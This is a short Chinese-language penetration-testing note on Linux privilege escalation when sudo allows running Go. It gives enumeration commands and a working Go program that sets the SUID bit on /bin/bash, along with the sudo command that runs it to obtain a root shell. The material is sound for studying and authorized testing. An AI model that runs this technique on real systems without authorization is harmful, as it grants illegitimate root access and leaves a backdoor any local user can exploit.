> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-go-linux-privilege-escalation.md).
# Sudo（Go）- Linux 权限提升
Sudo（Go）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
sudoers 权限提升始于用户可以通过……运行的命令 `sudo`。配置错误的二进制文件、不安全的脚本参数、符号链接处理，以及存在漏洞的 sudo 版本，都可能把有限的 sudo 权限变成 root shell。本页面专注于 **Sudo（Go）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
sudo -l
sudo --version
```
## 示例
**查找 sudo 权限：**
```bash
sudo -l
```
以 root 身份运行 Go 的能力：
**创建 root.go 文件：**
* 移动到系统目录 `/tmp` 并创建一个 `root.go` 包含以下内容代码的文件：
```go
package main
import (
"log"
"os/exec"
)
func main() {
cmd := exec.Command("chmod", "u+s", "/bin/bash")
err := cmd.Run()
if err != nil {
log.Fatal(err)
}
}
```
\*\* 使用 Go 实现 root.go 文件：\*\*
* 使用 Go 运行 `root.go` 该文件，它会更改 `/bin/bash` 的权限，以允许任何用户以 root 用户权限运行它。
```bash
sudo /usr/local/go/bin/go run root.go
```
---
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